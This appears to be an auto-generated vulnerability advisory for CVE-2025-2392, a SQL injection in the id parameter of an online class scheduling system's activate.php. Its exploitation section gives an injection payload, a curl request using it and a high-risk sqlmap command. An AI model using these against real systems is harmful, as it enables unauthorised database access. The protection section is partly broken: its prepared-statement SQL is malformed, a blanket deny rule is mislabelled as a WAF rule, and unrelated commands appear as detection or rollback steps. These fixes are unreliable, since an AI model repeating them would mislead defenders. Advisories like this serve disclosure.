Online Class and Exam Scheduling System, SQL Injection, CVE-2025-2392 (Critical)

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How CVE-2025-2392 Works

The vulnerability exists in `/pages/activate.php` due to improper sanitization of the `id` parameter, allowing attackers to inject malicious SQL queries. When a crafted HTTP request is sent, the backend database executes unintended commands, potentially leading to unauthorized data access, modification, or deletion. The flaw stems from dynamic SQL construction without prepared statements or input validation. Remote exploitation is possible, requiring no authentication, making it critical.

DailyCVE Form

Platform: Online Class Scheduling System
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/28/2025

Prediction: Patch expected by 06/15/2025

What Undercode Say:

Exploitation

1. Craft malicious payload:

' OR 1=1--

2. Exploit via curl:

curl "http://target/pages/activate.php?id=1'%20OR%201=1--"

3. Automated testing with sqlmap:

sqlmap -u "http://target/pages/activate.php?id=1" --risk=3 --level=5

Protection

1. Input validation:

if (!is_numeric($_GET['id'])) { die("Invalid input"); }

2. Use prepared statements:

$stmt = $conn->prepare("SELECT FROM users WHERE id = ?");
$stmt->bind_param("i", $_GET['id']);

3. WAF rules:

location ~ /pages/activate.php {
deny all;
}

4. Patch verification:

grep -r "mysql_query" /var/www/html

Analytics

  • Attack surface: Remote, low complexity
  • Impact: Data breach, system compromise
  • Mitigation urgency: Immediate

Log Analysis

cat /var/log/apache2/access.log | grep "activate.php?id="

Backup Recovery

mysqldump -u root -p database_name > backup.sql

Post-Exploit Detection

netstat -tulnp | grep mysql

Patch Rollback

git checkout -- /pages/activate.php

End of Report.

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

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